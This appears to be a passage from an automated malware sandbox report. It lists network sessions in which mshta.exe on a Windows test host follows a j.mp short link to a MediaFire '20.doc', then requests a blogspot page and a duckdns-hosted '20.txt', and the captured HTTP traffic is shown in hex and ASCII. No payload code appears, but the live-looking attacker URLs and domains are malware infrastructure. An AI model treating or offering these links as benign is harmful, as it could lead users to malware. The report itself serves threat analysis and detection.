2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 
6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 
65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 
65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77
77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 
Data Ascii: <!DOCTYPE html><html lang=en>  <meta charset=utf-8>  <meta name=viewport content="initial-scale=1, 
minimum-scale=1, width=device-width">  <title>Error 404 (Not Found)!!1</title>  <style>    *{margin:0;padding:0}html,co
de{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-widt
h:390px;min-height:180px;padding:30px 0 15px}* > body{background:url(//www.google.com/images/errors/robot.png) 
100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a 
img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-
right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-
repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com
/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(
//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-
min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/brand
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Session ID Source IP Source Port Destination IP Destination Port Process

15 192.168.2.22 49180 172.217.168.68 80 C:\Windows\System32\mshta.exe

Timestamp
kBytes
transferred Direction Data

Nov 25, 2021 
18:33:58.271218061 CET

576 OUT GET /images/errors/robot.png HTTP/1.1
Accept: */*
Referer: http://www.starinxxxgkular.duckdns.org/s1/20.txt
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; 
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: www.google.com
Connection: Keep-Alive

Nov 25, 2021 
18:33:58.288444042 CET

578 IN HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Type: image/png
Cross-Origin-Resource-Policy: cross-origin
Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="static-on-bigtable"
Report-To: {"group":"static-on-bigtable","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to
/static-on-bigtable"}]}
Content-Length: 6327
Date: Sat, 20 Nov 2021 07:01:31 GMT
Expires: Sun, 20 Nov 2022 07:01:31 GMT
Last-Modified: Tue, 22 Oct 2019 18:30:00 GMT
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 0
Age: 469947
Cache-Control: public, max-age=31536000
Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 ab 00 00 00 d5 08 03 00 00 00 1f 1e f0 9a 00 00 00 
57 50 4c 54 45 9d c7 ed 7a b3 e7 7a b3 e8 d4 e6 f7 9e c7 ee 32 8a db bb d8 f3 ba d8 f3 bb d8 f4 57 9f e1 7b b3 e8 56 9e 
e1 d4 e6 f8 d3 e6 f7 7a b2 e7 e9 f3 fb 32 89 da 33 8a db ea f3 fc 56 9f e1 32 8a da 9d c6 ed 9e c7 ed d3 e5 f7 ba d7 f3 e9 
f2 fb ea f3 fb 57 9f e2 ff ff ff 3e 60 10 a0 00 00 00 1d 74 52 4e 53 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 
59 86 e7 6a 00 00 17 f2 49 44 41 54 78 01 b5 c1 07 42 63 49 0c 40 41 a9 73 ff e4 48 58 e9 dd ff 9c 6b c3 30 63 1b 93 0c 
54 09 3f 6e c5 2f 11 7e d6 14 97 1e 62 8c fc 02 e1 47 4d de 47 75 cf 63 e4 e7 09 3f aa 7b 35 88 35 b8 cc fc 34 e1 27 15 6f 
3c 93 1c f8 69 c2 4f 0a 6e 3c db 66 e1 a7 09 3f 29 ed 8d 67 e6 95 9f 26 fc a4 38 2e 45 34 84 d4 74 6c fc 34 e1 47 99 6f 34 
8c 9b cd e8 91 1f 27 fc b0 07 a3 e6 5c f9 05 c2 cf 13 f7 85 5f 20 fc bc c5 c7 c0 2f 10 7e 9e ec 3c f0 0b 84 9f f7 e0 9b c0 2f 1
0 7e 5e f1 7d e0 17 08 3f af ba 07 7e 81 f0 f3 5a ee ce 2f 10 7e de 5d cf 81 5f 20 fc 08 b3 49 d3 20 c6 51 09 59 f8 05 c2 f7 
59 51 75 97 a9 69 d7 02 34 1f 9d 5f 20 7c 53 0b a3 f7 41 a6 2d 07 2d 68 0f c5 d7 39 f0 0b 84 6f 88 b1 b9 6b 9a 8c bf e2 b2 
cf 39 6f b2 1a 3f 4e b8 55 2c c9 07 2f 2b ce cc 1e 5a ce 79 ef ce 8f 13 6e 62 4d 75 09 d5 b8 d4 13 34 4f 9a 37 3e af f8 59 
c2 2d 4c 3d 4a a9 93 71 c9 0b 60 d0 42 5e 7b 34 7e 92 70 93 1a c0 62 52 d1 6a 9c 8a e3 f8 1f 47 71 3d ea da 5d 26 e3 a7 
08 37 59 29 47 36 cd a2 9a cc f8 eb 41 c6 68 60 69 5d 99 c4 bb fb 50 64 e6 27 08 37 99 94 17 ab 39 e9 32 14 e3 85 fb 32 
78 de e7 c8 d1 a4 a9 ef c6 b1 1a df 26 dc e4 61 30 4e c5 10 42 79 e0 59 0d 43 c8 2a fc 53 c3 e8 1a 8d ef 11 6e 52 86 2d 
e7 ac 2e 41 5b 35 9e 19 e7 ac f5 ac 7c 8f 70 13 0b c6 2b 76 17 d4 eb 64 5c 65 c5 fb 5d 59 71 3b e1 26 71 30 ae d9 46 ed 
63 b0 89 ab ea ce 83 70 33 e1 26 f3 60 1c 95 21 71 ce 98 ef 7d d0 b4 e5 0a 6b a3 67 35 6e 23 dc a4 0c 1c 89 8f 8d d7 a6 
e9 4e 47 2d c6 b9 39 0e ee d9 43 9c 8d 5b 08 37 a9 6e c0 76 ed c6 75 d1 ee dc 93 f1 cf ac bd 7b 6f 15 43 26 6e 21 dc a4 
28 10 47 37 de b6 4a 41 cb 96 27 36 a7 9e 7b 28 3c b9 9b b9 85 70 93 e8 06 c3 3a f1 be e6 21 3d 80 d5 
Data Ascii: PNGIHDRWPLTEzz2W{Vz23V2W>`tRNSYjIDATxBcI@AsHXk0cT?n/~bGMGuc?{554'o<iOn<f?)g&8.E4tl4Go4'\
_ /~</~^}?~Z/~]_ I QYYQui4_ |SA--h9ok9o?NU,/+ZynbMu4O7>Y-L=Jq`B^{4~pbRjGq=]&7Y)G6Ah`i]Pd'7922x&a0NBy
YC*SnR-.A[5|p+vd\e]Yq;&q0Fcp3&`!q}kg5n#NG-9C[7nvu{oC&n!(G7JA'6{(<p:!=

Session ID Source IP Source Port Destination IP Destination Port Process

16 192.168.2.22 49181 172.217.168.68 80 C:\Windows\System32\mshta.exe

Timestamp
kBytes
transferred Direction Data

Nov 25, 2021 
18:34:01.240189075 CET

592 OUT GET /images/branding/googlelogo/1x/googlelogo_color_150x54dp.png HTTP/1.1
Accept: */*
Referer: http://www.starinxxxgkular.duckdns.org/s1/20.txt
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; 
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: www.google.com
Connection: Keep-Alive
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Nov 25, 2021 
18:34:01.271351099 CET

593 IN HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Type: image/png
Cross-Origin-Resource-Policy: cross-origin
Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="static-on-bigtable"
Report-To: {"group":"static-on-bigtable","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to
/static-on-bigtable"}]}
Content-Length: 3170
Date: Thu, 25 Nov 2021 17:34:01 GMT
Expires: Thu, 25 Nov 2021 17:34:01 GMT
Cache-Control: private, max-age=31536000
Last-Modified: Tue, 22 Oct 2019 18:30:00 GMT
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 0
Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 96 00 00 00 36 08 06 00 00 00 25 1d 60 0c 00 00 0c 
29 49 44 41 54 78 da ed 5d 0b 70 54 d5 19 3e 98 6c 00 1f 88 da 97 b5 82 62 ad 14 28 48 76 37 20 44 37 f7 6e 08 38 83 
a2 a5 b4 56 ab a5 48 5f 82 52 3b 53 1f 68 59 60 77 13 28 b6 d5 2a b6 4e 5f 52 ab 22 30 60 a9 2d e6 41 a9 1d 7c b4 2a 4e 
c5 fa 60 b0 a8 80 ec 6e 02 84 7b ef 26 90 84 6c ff 6f e0 0e 3b 9b ff de bd 8f 84 61 9a f3 cd 9c d9 64 ef dd 24 e7 f0 9d ff f1 
fd ff b9 08 09 09 09 89 fe 89 e9 b1 dc e9 4a 9d 31 ae 2a 91 9d a1 d4 1a 37 2b 09 63 8e 9a d4 6f a0 a1 54 2f cf 7e 56 e4 72 
03 84 84 84 13 44 eb da 47 a8 49 63 11 91 e7 e5 aa b8 d6 45 5f e7 ac 46 55 52 db a3 26 f4 df 55 25 8c a9 b1 58 ee 34 21 
21 51 88 48 22 3b 91 c8 f4 1c 08 e3 65 28 49 63 07 ac 9a 24 98 84 00 22 31 ed 13 6a 52 5b e5 81 4c bc 15 8b eb 2f 45 6b 
0f 7d 41 48 f4 1a ca 57 cf 4c 85 56 cf cc e5 8f f0 9a 59 97 8b 53 15 d5 71 ad 12 ee 8c 21 88 5f 72 19 44 d6 af 08 89 fe 47 
2c 25 a9 7f 95 48 75 c4 96 24 71 ad 9b 5c dc 9b 6a dc 78 86 02 f7 47 aa 92 c6 cf c9 5d fe 96 de db 42 ef 69 c5 49 a6 2b 
42 a2 ff 10 0b d6 84 48 75 d4 da e2 18 ff 51 93 d9 ef 92 4b 3b cf da 85 e6 4a a3 71 bd 9a ee 5f 07 02 f6 0c ec f5 5f ca 78 
ab 1f 11 0b 41 3a 11 a1 83 cf f2 8c fd 6a c2 98 ed 96 10 d1 3a 63 bc 9a d0 5e 93 a4 ea a7 c4 aa ac 6b 3d 47 49 6a 1f b1 
59 5d 42 db 56 bd ac 6d 98 f0 88 59 b1 5c 19 b9 be c7 24 a9 fa 21 b1 94 84 fe 2b d6 52 25 b4 7f 55 2f 3b 70 b6 f0 09 08 
a6 52 34 ed 67 c4 52 96 ea a3 f9 58 48 db 33 25 a6 7f 4a 48 48 62 79 01 65 71 4f 5a 64 6e 53 84 84 24 96 17 20 bb 83 b4 
c0 64 6e 1b 85 84 24 96 77 cd ca f8 b6 45 ad 6f b2 38 05 91 13 62 40 a6 7a c2 a5 29 35 f4 8d 4c 34 7c 7f 46 0d d7 e2 b5 
39 1a be 09 ef e3 ba ff 70 50 0c 38 fc 7c d9 c8 ae c6 c0 2d 1d 4d a5 8b 3a 9b 02 75 78 c5 f7 87 37 97 5d 86 eb c2 27 90 
d0 28 71 ed aa aa 84 7e 07 e9 86 09 f2 0e 4b 51 c8 57 e2 ad 97 9c 2c 62 b5 d6 4c 3c b7 59 09 5d 9b 56 2b ee ca a8 a1 ba
74 34 bc 24 a3 56 dc ba 4f 09 8f f6 bd 8e 44 a2 35 0c b1 76 9e 6a 81 f6 ae 48 64 10 4d fc f6 b4 12 7a 9b 88 94 b3 1a b8 
9e 56 83 f3 71 bf 70 89 ee 97 c4 e0 8e c6 d2 3b 3a 1b 4a de 25 32 e5 ac 47 c9 3b b8 2f b7 45 0c f2 e2 21 88 48 cb 20 df 
d8 08 c8 2f 44 6b db ae 38 9e 54 fd 99 be 7f 2b 7f f8 25 56 73 34 14 
Data Ascii: PNGIHDR6%`)IDATx]pT>lb(Hv7 D7n8VH_R;ShY`w(*N_R"0`-A|*N`n{&lo;ad$J1*7+coT/~VrDGIcE_FUR&U%
X4!!QH";e(Ic$"1jR[L/Ek}AHWLVYSq!_rDG,%Hu$q\jxG]BiI+BHuQK;Jq__xA:j:c^k=GIjY]BVmY\$!+R%U/;pR4gRXH3%JHH
byeqOZdnS$ dn$wEo8b@z)5L4|F9pP8|-M:ux7]'(q~KQW,bL<Y]V+t4$VOD5vjHdMzVqp;:J%2G;/E!H /Dk8T+%Vs4

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

17 192.168.2.22 49185 142.251.40.228 80 C:\Windows\System32\mshta.exe

Timestamp
kBytes
transferred Direction Data

Nov 25, 2021 
18:34:14.737703085 CET

598 OUT GET /s1/20.txt HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; 
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: www.starinxxxgkular.duckdns.org
Connection: Keep-Alive
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Nov 25, 2021 
18:34:14.836904049 CET

599 IN HTTP/1.1 404 Not Found
Content-Type: text/html; charset=UTF-8
Referrer-Policy: no-referrer
Content-Length: 1570
Date: Thu, 25 Nov 2021 17:34:14 GMT
Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 
74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 
20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 
65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 7
2 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 2
0 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 
35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 
64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 
69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 
3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 
6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 
73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 
72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 
6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 
3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 
28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 
61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 
74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 
6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 
5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 
66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 
6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 
77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 7
8 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 
20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6c 28 2f 
2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 
6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 
65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 
65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77
77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 
Data Ascii: <!DOCTYPE html><html lang=en>  <meta charset=utf-8>  <meta name=viewport content="initial-scale=1, 
minimum-scale=1, width=device-width">  <title>Error 404 (Not Found)!!1</title>  <style>    *{margin:0;padding:0}html,co
de{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-widt
h:390px;min-height:180px;padding:30px 0 15px}* > body{background:url(//www.google.com/images/errors/robot.png) 
100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a 
img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-
right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-
repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com
/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(
//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-
min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/brand

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

2 192.168.2.22 49167 199.91.155.88 443 C:\Windows\System32\mshta.exe

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

3 192.168.2.22 49168 172.217.168.1 443 C:\Windows\System32\mshta.exe

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

4 192.168.2.22 49169 172.217.168.9 443 C:\Windows\System32\mshta.exe

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

5 192.168.2.22 49171 172.217.168.9 443 C:\Windows\System32\mshta.exe

Timestamp
kBytes
transferred Direction Data
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Session ID Source IP Source Port Destination IP Destination Port Process

6 192.168.2.22 49170 172.217.168.9 443 C:\Windows\System32\mshta.exe

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

7 192.168.2.22 49172 172.217.168.9 443 C:\Windows\System32\mshta.exe

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

8 192.168.2.22 49173 172.217.168.9 443 C:\Windows\System32\mshta.exe

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

9 192.168.2.22 49174 172.217.168.45 443 C:\Windows\System32\mshta.exe

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

0 192.168.2.22 49165 67.199.248.16 443 C:\Windows\System32\mshta.exe

Timestamp
kBytes
transferred Direction Data

2021-11-25 17:33:30 UTC 0 OUT GET /ODOASODOchjdjdsfdrueruebdgbjd HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; 
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: j.mp
Connection: Keep-Alive

2021-11-25 17:33:30 UTC 0 IN HTTP/1.1 301 Moved Permanently
Server: nginx
Date: Thu, 25 Nov 2021 17:33:30 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 145
Cache-Control: private, max-age=90
Content-Security-Policy: referrer always;
Location: https://www.mediafire.com/file/95ggilwnqccbq6l/20.doc/file
Referrer-Policy: unsafe-url
Set-Cookie: _bit=laphxu-bc9c62f00a90ffebfb-00F; Domain=j.mp; Expires=Tue, 24 May 2022 17:33:30 GMT
Via: 1.1 google
Alt-Svc: clear
Connection: close

2021-11-25 17:33:30 UTC 0 IN Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 42 69 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 
65 61 64 3e 0a 3c 62 6f 64 79 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6d 65 64 69 61 66 69 72 
65 2e 63 6f 6d 2f 66 69 6c 65 2f 39 35 67 67 69 6c 77 6e 71 63 63 62 71 36 6c 2f 32 30 2e 64 6f 63 2f 66 69 6c 65 22 3e 6d
6f 76 65 64 20 68 65 72 65 3c 2f 61 3e 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 
Data Ascii: <html><head><title>Bitly</title></head><body><a href="https://www.mediafire.com/file/95ggilwnqccbq
6l/20.doc/file">moved here</a></body></html>

Session ID Source IP Source Port Destination IP Destination Port Process

1 192.168.2.22 49166 104.16.203.237 443 C:\Windows\System32\mshta.exe

Timestamp
kBytes
transferred Direction Data

HTTPS Proxied Packets
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2021-11-25 17:33:31 UTC 0 OUT GET /file/95ggilwnqccbq6l/20.doc/file HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; 
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Connection: Keep-Alive
Host: www.mediafire.com

2021-11-25 17:33:31 UTC 1 IN HTTP/1.1 302 Found
Date: Thu, 25 Nov 2021 17:33:31 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: close
Set-Cookie: ukey=wpgd26kulj39kjvputiz6tvqsvprqjyj; expires=Mon, 25-Nov-2041 17:33:31 GMT; Max-Age=631152000; p
ath=/; domain=.mediafire.com; HttpOnly
Strict-Transport-Security: max-age=0
Access-Control-Allow-Origin: https://www.mediafire.com
Location: https://download2347.mediafire.com/7zyqtjrto6xg/95ggilwnqccbq6l/20.doc
Report-To: {"group": "mediafirenel", "max_age": 86400, "include_subdomains": true, "endpoints": [{"url": "https://browser-
reports.mediafire.dev/network-error"}]}
NEL: {"report_to": "mediafirenel", "max_age": 86400, "include_subdomains": true, "failure_fraction": 0.01}
CF-Cache-Status: DYNAMIC
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
Set-Cookie: __cf_bm=7l.5fP9twOZC7hBQxv4lkVwgZRCCePXSWC4EqFVtdp4-1637861611-0-AXGmQ3gbteuDR
wawAhiZSyFYrF3p05rVHb2YEXXkwra/KYcyGSVuOfHbl6W9eHYPu9ITI5TQ4nc/vXoKZYqsI40=; path=/; expires=Thu, 25-
Nov-21 18:03:31 GMT; domain=.mediafire.com; HttpOnly; Secure; SameSite=None
Server: cloudflare
CF-RAY: 6b3c9f5dce016916-FRA

2021-11-25 17:33:31 UTC 2 IN Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

10 192.168.2.22 49175 172.217.168.9 443 C:\Windows\System32\mshta.exe

Timestamp
kBytes
transferred Direction Data

2021-11-25 17:33:43 UTC 313 OUT GET /blogin.g?blogspotURL=https%3A%2F%2Fkdaoskdokaodkwldld.blogspot.com%2Fp%2F20.html&type=blog&bpli=1 
HTTP/1.1
Accept: */*
Referer: https://kukadunikkk@kdaoskdokaodkwldld.blogspot.com/p/20.html
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; 
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: www.blogger.com
Connection: Keep-Alive

2021-11-25 17:33:43 UTC 314 IN HTTP/1.1 200 OK
P3P: CP="This is not a P3P policy! See https://www.google.com/support/accounts/bin/answer.py?hl=en&answer=151657 
for more info."
Content-Security-Policy: script-src   'self' *.google.com *.google-analytics.com 'unsafe-inline'   'unsafe-eval' *.gstatic.com *.g
ooglesyndication.com *.blogger.com   *.googleapis.com uds.googleusercontent.com https://s.ytimg.com   https://i18n-cloud
.appspot.com   https://www.youtube.com   www-onepick-opensocial.googleusercontent.com   www-bloggervideo-opens
ocial.googleusercontent.com   www-blogger-opensocial.googleusercontent.com https://www.blogblog.com; report-uri 
/cspreport
Content-Type: text/html; charset=UTF-8
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Date: Thu, 25 Nov 2021 17:33:43 GMT
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Server: GSE
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Accept-Ranges: none
Vary: Accept-Encoding
Connection: close
Transfer-Encoding: chunked

2021-11-25 17:33:43 UTC 316 IN Data Raw: 33 37 39 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 
44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f
68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 3e 3c 68 65 61 64 
3e 3c 74 69 74 6c 65 3e 57 61 72 6e 75 
Data Ascii: 3797<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html 
dir="ltr"><head><title>Warnu
